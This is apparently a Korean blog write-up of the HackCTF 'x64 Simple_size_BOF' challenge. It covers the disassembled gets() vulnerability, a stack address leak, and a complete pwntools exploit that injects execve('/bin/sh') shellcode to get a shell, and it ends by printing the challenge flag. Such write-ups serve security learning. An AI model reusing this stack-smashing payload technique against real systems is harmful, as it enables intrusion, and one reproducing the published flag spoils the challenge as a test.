ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • x64 Simple_size_BOF
    CTF/HackCTF 2021. 1. 21. 02:00

    Disassembly 디스어셈블리


    undefined8 main(void)
    {
        char *s;
        
        setvbuf(_reloc.stdout, 0, 2, 0);
        puts("삐빅- 자살방지 문제입니다.");
        printf("buf: %p\n", &s);
        gets(&s);
        return 0;
    }

    s의 주소를 출력하고, s에 입력을 받는 코드이다.

    Stack address leak


    p.recvuntil("buf: ")
    buf = int(p.recvline()[0:18], 16)

    지역 변수 s의 주소는 스택 주소를 계산하는 데 사용할 수 있다.

    RET Overwrite


    rbp-0x6d30

    스택 버퍼 오버플로우를 이용해 쉘코드를 스택에 삽입할 수 있고, s의 offset을 바탕으로 계산한 쉘코드의 주소로 return address를 덮으면 문제를 해결할 수 있다.

     

    Code

    더보기
    from pwn import *
    
    binary = "./Simple_size_bof"
    server = "ctf.j0n9hyun.xyz"
    port = 3005
    
    # context.log_level = 'debug'
    context.binary = binary
    
    p = remote(server, port)
    # p = process(binary)
    e = ELF(binary)
    
    # buf = rbp-0x6d30
    
    p.recvuntil("buf: ")
    buf = int(p.recvline()[0:18], 16)
    
    print(hex(buf))
    
    shellcode = asm(shellcraft.execve("/bin/sh",0,0))
    
    payload = b"A"*0x6d38
    payload += p64(buf+0x6d40)
    payload += shellcode
    p.sendline(payload)
    
    p.interactive()

    Flag

    HackCTF{s000000_5m4ll_4nd_5m4ll_51z3_b0f}

    'CTF > HackCTF' 카테고리의 다른 글

    Offset  (0) 2021.01.21
    Simple_Overflow_ver_2  (0) 2021.01.21
    x64 Buffer Overflow  (0) 2021.01.21
    내 버퍼가 흘러넘친다!!!  (0) 2021.01.21
    Basic_BOF #2  (0) 2021.01.21

    댓글

Designed by Tistory.